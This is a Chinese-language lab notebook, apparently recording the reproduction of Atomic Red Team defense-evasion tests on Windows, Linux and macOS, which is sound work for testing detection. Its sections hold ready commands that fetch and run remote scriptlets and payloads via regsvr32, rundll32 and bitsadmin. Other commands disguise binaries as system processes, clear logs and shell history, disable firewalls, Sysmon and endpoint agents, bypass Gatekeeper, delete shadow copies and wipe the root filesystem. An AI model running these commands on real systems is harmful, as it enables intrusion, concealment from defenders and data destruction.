T1009 - Binary Padding

通过向binary末尾来绕过基于hash的黑名单校验,同时较大的文件也可以绕过一些安全产品的检测

测试平台:macOS, Linux,其中count代表填充多少个字节

dd if=/dev/zero bs=1 count=10 >> filename

T1090 - Connection Proxy

不直接连接受害者的电脑而是使用代理,现成的工具包括HTRAN, ZXProxy, and ZXPortMap.

测试1 Connection Proxy

平台:macOS, Linux

让该终端走某个代理

export http_proxy=http://192.168.1.100:8080
export https_proxy=https://192.168.1.100:8080
export http_proxy=socks5://192.168.1.100:10800
export https_proxy=socks5://192.168.1.100:10800

清除

unset http_proxy
测试2 portproxy reg key

平台:windows

在终端修改注册表键HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4

这个未完待续

T1143 - Hidden Window

通过在powershel中添加”-WindowStyle Hidden”参数来隐藏窗口

Start-Process notepad.exe -WindowStyle Hidden

T1036 - Masquerading

Masquerading是为了逃避蓝队的查找,而进行的伪装.其中的一种方法是可执行文件放在一个通常受信任的目录中,或者给它一个合法的名字.或者文件名是一个和受信任文件相似的文件名.其中一个情况就是当common system utility被移动和修改名字,来避免被检测.这可以绕过基于文件名的检测,以及蓝队的眼睛:-).

还有一种是right-to-left覆盖(RTLO or RLO) ,它可以让文件名反过来,迷惑蓝队成员

红队还可以修改二进制文件的图标,产品描述等来迷惑蓝队成员

对于windows还有一种技术:对合法的工具集进行重命名,例如rundll32.exe,一个案例就是当合法的工具集移动到不同的目录中并且重命名来避免检查.其中一个滥用的受信任地址为C:\Windows\System32,有害的程序可以伪装成"explorer.exe"和"svchost.exe"来绕过检查.

对于linux系统,有一种技术就是在程序运行之后,修改它的名称和路径,防止检测,一个被滥用的新人地址就是/bin名称可以改为”rsyncd”和”dbus-inotifier”

测试1 Masquerading as Windows LSASS process

复制cmd.exe并重命名,把它伪装成了lsass.exe

cmd.exe /c copy %SystemRoot%\System32\cmd.exe %SystemRoot%\Temp\lsass.exe
cmd.exe /c %SystemRoot%\Temp\lsass.exe

清除

del /Q /F %SystemRoot%\Temp\lsass.exe

win10成功复现

测试2 Masquerading as Linux crond process.

复制sh,重命名crond,然后运行它达到伪装的目的

cp /bin/sh /tmp/crond
/tmp/crond

成功复现

测试3 Masquerading - cscript.exe running as notepad.exe

把cscript.exe伪装成notepad.exe

copy %SystemRoot%\System32\cscript.exe %APPDATA%\notepad.exe /Y
cmd.exe /c %APPDATA%\notepad.exe /B

清除

del /Q /F %APPDATA%\notepad.exe

win10成功复现

测试4 Masquerading - wscript.exe running as svchost.exe
copy %SystemRoot%\System32\wscript.exe %APPDATA%\svchost.exe /Y
cmd.exe /c %APPDATA%\svchost.exe /B

win10成功复现

测试5 Masquerading - powershell.exe running as taskhostw.exe
copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\taskhostw.exe /Y
cmd.exe /K %APPDATA%\taskhostw.exe

win10成功复现

测试6 Masquerading - non-windows exe running as windows exe
copy #{inputfile} #{outputfile}
$myT1036 = (Start-Process -PassThru -FilePath #{outputfile}).Id
Stop-Process -ID $myT1036

win10成功复现

测试7 Masquerading - windows exe running as different windows exe
copy #{inputfile} #{outputfile}
$myT1036 = (Start-Process -PassThru -FilePath #{outputfile}).Id
Stop-Process -ID $myT1036

win10成功复现

测试8 Malicious process Masquerading as LSM.exe
copy C:\Windows\System32\cmd.exe D:\lsm.exe
D:\lsm.exe /c echo T1036 > D:\T1036.txt

win10成功复现

T1099 - Timestomp

Timestomping是一种修改文件时间(创建时间,修改时间)的技术,通常来将恶意文件和本文件夹其他的文件弄成相同的时间.

测试1 Set a file’s access timestamp
touch -a -t 197001010000.00 #{target_filename}

查看

stat aa.txt 
  File: ‘aa.txt’
  Size: 0         	Blocks: 0          IO Block: 4096   regular empty file
Device: fd01h/64769d	Inode: 398717      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 1970-01-01 00:00:00.000000000 +0800
Modify: 2020-01-20 16:20:47.700567652 +0800
Change: 2020-01-20 16:20:47.700567652 +0800

成功复现

测试2 Set a file’s modification timestamp
touch -m -t 197001010000.00 #{target_filename}

成功复现

测试3 Set a file’s creation timestamp

先修改系统时间,然后创建文件,然后再把系统时间修改过来

date -s "1990-01-01 00:00:00"
touch #{target_filename}
date -s "$NOW"

成功复现

测试4 Modify file timestamps using reference file
touch -acmr #{reference_file_path} {target_file_path}

成功复现

测试5 Windows - Modify file creation timestamp with PowerShell

还差3个windows的没弄

T1127 - Trusted Developer Utilities

有许多工具集可以用来执行代码,它有合法的证书并且允许它运行其他程序,这类工具集包括:MSBuild DNX RCSI WinDbg/CDB Tracker等

测试1 MSBuild Bypass Using Inline Tasks

使用msbuild.exe执行c#代码

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe D:\pycharmproject\atomic-red-team-master\atomics\T1127\src\T1127.csproj

windows10上运行成功

T1220 - XSL Script Processing

Extensible Stylesheet Language (XSL)是用来描述和渲染XML文件的.为了进行复杂的操作,XSL增加了不同的语言.红队可以使用它来运行二进制代码绕过白名单的检查.和Trusted Developer Utilities相似,msxsl.exe可以在本地或者远程运行JavaScript,虽然msxsl.exe不是默认安装了,但是红队可以打包它并放在客户端.msxsl.exe运行时接收两个参数,XML源文件和XSL stylesheet.既然xsl文件也是一个xml,红队可以使用xsl文件两次,当msxsl.exe运行的时候,红队可以给xml/xsl文件任意的扩展名

命令行的例子如下:

  • msxsl.exe customers[.]xml script[.]xsl
  • msxsl.exe script[.]xsl script[.]xsl
  • msxsl.exe script[.]jpeg script[.]jpeg

另一种技术叫做Squiblytwo,它使用windows管理工具调用JScript或VBScript在xsl文件中,这个技术也可以执行远程或本地的script.和Regsvr32一样,Squiblydoo也是一个windows信任的工具

命令行的例子如下:

  • Local File: wmic process list /FORMAT:evil[.]xsl
  • Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”
    测试1 MSXSL Bypass using local files

    首先需要下载工具https://www.microsoft.com/en-us/download/details.aspx?id=21714

    C:\Windows\Temp\msxsl.exe msxslxmlfile.xml msxslscript.xsl
    

    win10成功复现(关闭病毒防护)

    测试2
    msxsl.exe http://snappyzz.com/msxslxmlfile.xml http://snappyzz.com/msxslscript.xsl
    

    win10成功复现(关闭病毒防护)

剩下两个没有复现成功

T1064 - Scripting

这个太简单了,略过

T1085 - Rundll32

rundll32.exe可以用来调用二进制文件.红队可以利用这个特点调用恶意软件来绕过系统防护,rundll32.exe也可以运行.cpl文件,双击.cpl文件也可以造成rundll32.exe的运行.

Rundll32 也可以运行JavaScript,语法类似如下

rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"
测试1 Rundll32 execute JavaScript Remote Payload With GetObject
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://snappyzz.com/T1085.sct").Exec();

win10成功复现

测试2 Rundll32 execute VBscript command
rundll32 vbscript:"\..\mshtml,RunHTMLApplication "+String(CreateObject("WScript.Shell").Run("calc.exe"),0)

win10成功复现

测试3 Rundll32 advpack.dll Execution
rundll32.exe advpack.dll,LaunchINFSection D:\pycharmproject\atomic-red-team-master\atomics\T1085\src\T1085.inf,DefaultInstall_SingleUser,1,

win10成功复现

测试4 Rundll32 ieadvpack.dll Execution
rundll32.exe ieadvpack.dll,LaunchINFSection D:\pycharmproject\atomic-red-team-master\atomics\T1085\src\T1085.inf,DefaultInstall_SingleUser,1,

没有复现成功

测试5 Rundll32 syssetup.dll Execution
rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 D:\pycharmproject\atomic-red-team-master\atomics\T1085\src\T1085_DefaultInstall.inf

win10成功复现

测试6 Rundll32 setupapi.dll Execution
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 D:\pycharmproject\atomic-red-team-master\atomics\T1085\src\T1085_DefaultInstall.inf

没有复现成功

T1117 - Regsvr32

Regsvr32.exe是一个命令行程序,用来注册和删除object linking和嵌入命令,加载dll. Regsvr32也可以用来运行二进制文件.

红队可以利用它来运行代码来绕过一些防护,其中Regsvr32也是一个有微软签名的文件

regsvr32.exe也可以加载COM scriptlets来运行dll,regsvr32也可以加载远程文件来运行.regsvr32也通过Component Object Model Hijacking用来注册 COM Object来进行persistence

测试1 Regsvr32 local COM scriptlet execution
regsvr32.exe /s /u /i:C:\Users\zhang\Desktop\atomic-red-team-master\atomics\T1117\RegSvr32.sct scrobj.dll

win10成功复现

测试2 Regsvr32 remote COM scriptlet execution
regsvr32.exe /s /u /i:http://snappyzz.com/RegSvr32.sct scrobj.dll

win10成功复现

测试3 Regsvr32 local DLL execution
"IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe /s D:\pycharmproject\atomic-red-team-master\atomics\T1117\src\AllTheThings.dll) ELSE ( regsvr32.exe /s D:\pycharmproject\atomic-red-team-master\atomics\T1117\src\AllTheThings.dll )"

项目找不到dll文件,没有进行复现,应该是有个命令创建dll的懒得找了

T1121 - Regsvcs/Regasm

Regsvcs和Regasm是用来注册.NET COM的命令行工具.都有微软的签名.红队可以使用它们来运行程序.

测试1 Regasm Uninstall Method Call Test

注意使用绝对路径

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library #{source_file}
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{file_name}
例如
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library D:\pycharmproject\atomic-red-team-master\atomics\T1121\src\T1121.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U D:\pycharmproject\atomic-red-team-master\atomics\T1121\src\T1121.dll

检测方法也是类似regasm.exe这种进程名称的监控

win10成功复现

测试2 Regsvs Uninstall Method Call Test

在powershell中运行

$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /keyfile:key.snk #{source_file}
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe #{file_name}
例如
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /keyfile:key.snk D:\pycharmproject\atomic-red-team-master\atomics\T1121\src\T1121.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe D:\pycharmproject\atomic-red-team-master\atomics\T1121\src\T1121.dll

检测方法也是类似regasm.exe这种进程名称的监控

win10成功复现

T1126 - Network Share Connection Removal

可以使用net use \\system\share /delete来删除不使用的共享连接,红队可以使用它来隐藏自己的痕迹

测试1 Add Network Share
net share test=D:\test /REMARK:"test share" /CACHE:No

win10成功复现

测试2 Remove Network Share
net share D:\test /delete

win10成功复现

测试3 Remove Network Share PowerShell
Remove-SmbShare -Name D:\test
Remove-FileShare -Name D:\test

命令不对,没有成功复现

T1202 - Indirect Command Execution

许多windows工具集可以运行命令,例如pcalua.exe红队可以使用这个运行命令

测试1 Indirect Command Execution - pcalua.exe
pcalua.exe -a #{process}
pcalua.exe -a #{payload_path}
pcalua.exe -a #{payload_cpl_path}
例如
pcalua.exe -a calc

win10成功复现

测试2 Indirect Command Execution - forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c #{process}
forfiles /p c:\windows\system32 /m notepad.exe /c "c:\folder\normal.dll:evil.exe"

win10成功复现

T1070 - Indicator Removal on Host

红队可以通过删除系统日志和潜在的captured文件来隐藏自己.例如删除linux/var/log/ 中的所有文件

对于windows时间的日志:它记录了电脑的报警和提醒,系统定义了三种事件:系统级别,应用级别,安全

红队的操作与账号管理.账户登陆,服务操作等等,他们可以通过清除事件来隐藏自己的活动.清除事件的命令如下

  • wevtutil cl system
  • wevtutil cl application
  • wevtutil cl security
    测试1 Clear Logs
    wevtutil cl #{log_name}
    例如
    wevtutil cl security
    

    win10成功复现

    测试2 FSUtil

    USN Journal (Update Sequence Number Journal),也称作Change Journal,用来记录NTFS volume中文件修改的信息,能够提高搜索文件的效率

每个NTFS volume对应一个USN Journal,存储在NTFS metafile的$Extend$UsnJrnl中,也就是说,不同的NTFS volume对应的USN Journal不同

USN Journal会记录文件和目录的创建、删除、修改、重命名和加解密操作

fsutil usn deletejournal /D C:

win10成功复现

测试3 rm -rf

在linux中

rm -rf /var/log/system.log*
rm -rf /var/audit/*

成功复现

测试4 Overwrite Linux Mail Spool
echo 0> /var/spool/mail/#{username}

成功复现

测试5 Overwrite Linux Log
echo 0> #{log_path}

成功复现

测试6 Delete Security Logs Using PowerShell

powershell中运行

$eventLogId = Get-WmiObject -Class Win32_Service -Filter "Name LIKE 'EventLog'" | Select-Object -ExpandProperty ProcessId
Stop-Process -Id $eventLogId -Force
Remove-Item C:\Windows\System32\winevt\Logs\Security.evtx

重新启动服务

Start-Service -Name EventLog

win10成功复现

测试7 Delete System Logs Using Clear-EventLogId

powershell中运行

Clear-EventLog -logname Application

应该可以复现

T1107 - File Deletion

这个就是讲得怎么删除文件

测试1 Delete a single file - Linux/macOS
rm -f #{file_to_delete}

成功复现

测试2 Delete an entire folder - Linux/macOS
rm -rf #{folder_to_delete}

成功复现

测试3 Overwrite and delete a file with shred
shred -u #{file_to_shred}

成功复现

测试4 Delete a single file - Windows cmd
echo "T1107" > %temp%\T1107.txt
del /f  %temp%\T1107.txt

win10成功复现

测试5 Delete an entire folder - Windows cmd
mkdir %temp%\T1107
rmdir /s /q %temp%\T1107

win10成功复现

测试6 Delete a single file - Windows PowerShell
New-Item $env:TEMP\T1107.txt
Remove-Item -path $env:TEMP\T1107.txt

win10成功复现

测试7 Delete an entire folder - Windows PowerShell
New-Item $env:TEMP\T1107 -ItemType Directory
Remove-Item -path $env:TEMP\T1107 -recurse

win10成功复现

测试8 Delete VSS - vssadmin

通过vsadmin.exe删除卷影拷贝服务文件

vssadmin.exe Delete Shadows /All /Quiet

win10成功复现

测试9 Delete VSS - wmic
wmic shadowcopy delete

win10成功复现

测试10 wbadmin

删除Windows Backup catalogs.

wbadmin delete catalog -quiet

应该可以复现

测试11 Delete Filesystem - Linux

这个测试删除了整个linux的文件系统,这个技术在Amnesia IoT病毒中使用过,这个操作危险有破坏性

rm -rf / --no-preserve-root > /dev/null 2> /dev/null

应该可以复现

测试13 Delete-PrefetchFile

Prefetch是预读取文件夹,用来存放系统已访问过的文件的预读信息,扩展名为PF。之所以自动创建Prefetch文件夹,是为了加快系统启动的进程

删除prefetch文件是一种已知的anti-forensic技术

Remove-Item -Path (Join-Path "$Env:SystemRoot\prefetch\" (Get-ChildItem -Path "$Env:SystemRoot\prefetch\*.pf" -Name)[0])

应该可以复现

T1089 - Disabling Security Tools

红队可关闭安全工具来避免自己被检测到

测试1 Disable iptables firewall

在linux上运行

if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];
then
  service iptables stop
  chkconfig off iptables
  service ip6tables stop
  chkconfig off ip6tables
else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];
  systemctl stop firewalld
  systemctl disable firewalld
fi

成功复现

测试2 Disable syslog

在linux上运行

if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];
then
  service rsyslog stop
  chkconfig off rsyslog
else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];
  systemctl stop rsyslog
  systemctl disable rsyslog
fi

成功复现

测试3 Disable Cb Response

Cb Response也是一个收集日志的,在linux上运行

if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];
then
  service cbdaemon stop
  chkconfig off cbdaemon
else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];
  systemctl stop cbdaemon
  systemctl disable cbdaemon
fi

成功复现

测试4 Disable SELinux
setenforce 0

成功复现

测试8 Unload Sysmon Filter Driver

在不停止Sysmon的情况下,卸载filter driver

fltmc.exe unload #{sysmon_driver}
例如
fltmc.exe unload SysmonDrv

恢复

sc stop sysmon
fltmc.exe load #{sysmon_driver}
sc start sysmon

win10成功复现

测试10 Uninstall Sysmon
sysmon -u

恢复

sysmon -i -accepteula
测试11 AMSI Bypass - AMSI InitFailed
测试12 AMSI Bypass - Remove AMSI Provider Reg Key
测试13 Disable Arbitrary Security Windows Service
测试14 Disable PowerShell Script Block Logging
测试15 PowerShell Bypass of AntiMalware Scripting Interface
测试16 Tamper with Windows Defender ATP PowerShell
测试17 Tamper with Windows Defender Command Prompt
测试18 Tamper with Windows Defender Registry

T1500 - Compile After Delivery

为了绕过传输途径的检测,红队可以将代码传输,然后再编译.

测试1 Compile After Delivery using csc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:#{output_file} #{input_file}
例如
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:D:\pycharmproject\atomic-red-team-master\atomics\T1500\src\calc.exe D:\pycharmproject\atomic-red-team-master\atomics\T1500\src\calc.cs

win10成功复现

T1196 - Control Panel Items

控制面板允许用户查看和修改电脑配置,也可以将cpl文件作为参数,运行恶意文件,来绕过一些病毒检测

control.exe D:\pycharmproject\atomic-red-team-master\atomics\T1196\bin\calc.cpl	//这里cpl一定要采用绝对路径否则失败

检测:control.exe创建了rundll32进程,然后rundll32进程通过命令行参数运行了cpl代码,然后运行里calc

windows10上运行复现

T1223 - Compiled HTML File

编译的html文件(.chm)可运行如下:HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX.并通过hh.exe来打开他们,红队可用chm文件来隐藏一段payload,此技术也可以来绕过一些检测病毒检测.运行如下命令,或者直接打开文件

hh.exe D:\pycharmproject\atomic-red-team-master\atomics\T1223\src\T1223.chm

通过procmon的hh.exe进行了process create操作,监控到了

windows10上成功复现

或者

hh.exe http://snappyzz.com/T1223.chm		\\这个没有成功复现

T1197 - BITS Jobs

windows后台智能传输服务(BITS)是一个通过Component Object Model (COM)的低带宽,同步文件传输的服务.BITS是一个用来更新,传输信息和其他应用后台操作并且不会干扰其他应用网络.我们可以通过powershell和BITSAdmin来创建BITS jobs

红队可以使用BITS来下载,运行恶意代码,甚至清除这些恶意代码.BITS运行不需要新建文件或者修改注册表,而且没有防火墙的拦截

测试1 Download & Execute
bitsadmin.exe /transfer /Download /priority Foreground http://snappyzz.com/calc.calc D:\bitsadmin_flag.ps1

win10 下载成功复现,运行没有成功复现

测试2 Download & Execute via PowerShell BITS
Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file}

win10 下载成功复现,运行没有成功复现

测试3 Persist, Download, & Execute

这个测试了bitsadmin调度一个BITS传输,并且通过多个步骤运行payload,默认这个job将持续90天

bitsadmin.exe /create  #{bits_job_name}
bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}
bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} #{command_line}
bitsadmin.exe /complete AtomicBITS
bitsadmin.exe /resume #{bits_job_name}

例如

bitsadmin.exe /create  AtomicBITS
bitsadmin.exe /addfile AtomicBITS http://snappyzz.com/T1197.md D:\bitsadmin_flag.ps1
bitsadmin.exe /setnotifycmdline AtomicBITS  	C:\Windows\system32\notepad.exe %temp%\bitsadmin_flag.ps1
bitsadmin.exe /complete AtomicBITS
bitsadmin.exe /resume AtomicBITS

大概就是这个意思,估计是给的命令有问题,暂时没有复现成功

T1148 - HISTCONTROL

HISTCONTROL这个环境变量决定什么命令要在history中保存,并在用户退出的时候保存在~/.bash_history.它可以通过ignorespace开头的”空格键”设置忽略命令,它也可以设置忽略重复命令通过”ignoredups”,也可以设置”ignoreboth”来忽略以上两个,这意味着“ ls”不会被保存,而”ls”会被保存,红队可以使用这个方法来隐藏痕迹

测试1 Disable history collection
export HISTCONTROL=ignoreboth
 ls #{evil_command}

然后输入第一个字符是空格的命令,然后就可以隐藏了

成功复现

T1207 - DCShadow

关于Domain Controller:域控制器是指在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为“域控制器(Domain Controller,简写为DC)”。

DCShadow通过注册和模仿Domain Controller来操纵AD域的数据

Mimikatz中已有模块实现这个功能

这个没法实现

macos

T1027.001 - Binary Padding

红队可以使用binary padding来改变二进制文件的大小,从而可以绕过杀毒软件对大小的限制,绕过检测,同时也可以绕过基于hash值的病毒检测,demo如下

dd if=/dev/zero bs=1 count=1 >> evil_binary

T1070.003 - Clear Command History

当用户登陆在登陆状态下,command历史将保存在HISTFILE环境变量中,当用户登出系统,这些消息将存入用户的~/.bash_history文件中。

红队可以使用许多方法来防止命令被记录,包括清除环境变量(unset HISTFILE),设置环境变量为零(export HISTFILESIZE=0),或者手工清除命令(history -c),或者rm ~/.bash_history,demo如下

rm ~/.bash_history
echo "" > ~/.bash_history
cat /dev/null > ~/.bash_history
ln -sf /dev/null ~/.bash_history
unset HISTFILE
export HISTFILESIZE=0
history -c

或者禁止命令记录

set +o history
echo 'set +o history' >> ~/.bashrc
. ~/.bashrc
history -c

或者在命令前加空格,来禁止命令记录

 whoami	#注意命令前有空格
 ls -al #注意命令前有空格

T1036.006 - Space after Filename

红队在文件名后加一个空格(例如evil.txt ),这样用户双击这个文件的时候将不再以txt默认的方式进行打开,红队可利用这点诱导用户打开一个看似正常的文件,从而导致binary运行。demo如下

第一步

echo '#!/bin/bash\necho "print "hello, world!"" | /usr/bin/python\nexit' > execute.txt && chmod +x execute.txt

第二部

mv execute.txt "execute.txt "

第三部:用户双击这个文件,该文件被执行

T1497.001 - System Checks

红队根据进程、cpu核心数量,内存大小等因素判断自己是否处在虚拟机中

if (ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo 'Virtualization Environment detected'; fi;

T1564.002 - Hidden Users

红队可以将自己创建的账户隐藏起来。在macOS系统中所有的账户都关联了一个userID,当用户被创建,就可以观察到这个userID

/Library/Preferences/com.apple.loginwindow中有个变量叫Hide500Users,它可以使userID低于500的用户不在屏幕中显示,当用户创建userID低于500时(例如:sudo dscl . -create /Users/username UniqueID 401)并且Hide500Users这个变量设置“Yes”,那么这个账号就不会再显示。Demo如下

Demo1 创建一个UniqueID小于500的用户

创建一个UniqueID小于500的用户,默认情况下这个账户是隐藏的

sudo dscl . -create /Users/#{user_name} UniqueID 333
Demo2 用IsHidden参数创建一个隐藏账户
sudo dscl . -create /Users/#{user_name} IsHidden 1

T1564.001 - Hidden Files and Directories

红队可以设置文件和目录的隐藏属性来绕过防御机制,在linux和mac中将目录和文件名称前加”.”就可以实现“l s”等通常命令的隐藏。

在macOS系统中,也可以设置UF_HIDDEN的标识符,实现在Finder.app中的隐藏,但仍可以在Terminal.app中看到。Demo如下

Demo1 在隐藏文件夹中创建隐藏文件
mkdir /var/tmp/.hidden-directory
echo "T1564.001" > /var/tmp/.hidden-directory/.hidden-file
Demo2 在mac中隐藏文件
xattr -lr * / 2>&1 /dev/null | grep -C 2 "00 00 00 00 00 00 00 00 40 00 FF FF FF FF 00 00"
Demo3 隐藏目录
touch /var/tmp/T1564.001_mac.txt
chflags hidden /var/tmp/T1564.001_mac.txt
Demo4 隐藏文件
setfile -a V #{filename}
Demo5 显示所有隐藏的文件
defaults write com.apple.finder AppleShowAllFiles YES

T1553.001 - Gatekeeper Bypass

Gatekeeper的作用就是检测从互联网上下载或从其他地方安装的软件,他们在系统中首次运行时,确保他们的行为对系统没有危害

默认情况下只允许用户安装来自苹果应用商店的软件,如果需要安装从网上下载或者其他地方复制的软件,系统会弹出提示框并阻止软件运行

Gatekeeper如何判断软件是网上下载的还是应用商店下载的:使用浏览器下载的程序都会被打上标签,l s -al 查看的时候,会看到多了一个@标签,可以使用xattr -l查看标签的信息,这些信息即使在软件复制,打包或者制作镜像时也不会被删除

Gatekeeper如何进行安全检测:基于规则进行检测,相关文件在/var/db/SystemPolicy中查看

Demo1 Gatekeeper绕过

简单的来说就是使用xattr命令删除标签信息

sudo xattr -d com.apple.quarantine #{app_path}

T1070.004 - File Deletion

这个就是删除文件

rm -fr XXX

T1562.001 - Disable or Modify Tools

红队可以关闭安全策略来避免自己被检测到,Demo如下

关闭Carbon Black Response
sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist
sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist
关闭LittleSnitch
sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist
关闭OpenDNS Umbrella
sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist
关闭Gatekeeper
sudo spctl --master-disable

T1148 - HISTCONTROL

HISTCONTROL这个环境变量决定什么命令日志是否要在history中保存,并在用户退出的时候保存在~/.bash_history.它可以通过ignorespace开头的”空格键”设置忽略命令,它也可以设置忽略重复命令通过”ignoredups”,也可以设置”ignoreboth”来忽略以上两个,这意味着“ ls”不会被保存,而”ls”会被保存,红队可以使用这个方法来隐藏痕迹,Demo如下

Demo1 关掉历史信息收集
export HISTCONTROL=ignoreboth

输入第一个字符是空格的命令,或者命令在history中已经存在,这样日志就不进行记录了

T1070.002 - Clear Linux or Mac System Logs

Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)

红队可以通过清除历史日志来隐藏痕迹,系统主要的日志存放在/var/log目录中

  • /var/log/messages: 系统相关日志
  • /var/log/secure/var/log/auth.log: 认证日志
  • /var/log/utmp or /var/log/wtmp: 登陆日志
  • /var/log/kern.log: 内核日志
  • /var/log/cron.log: 任务调度日志
  • /var/log/maillog: 邮件服务日志
  • /var/log/httpd/: web服务相关日志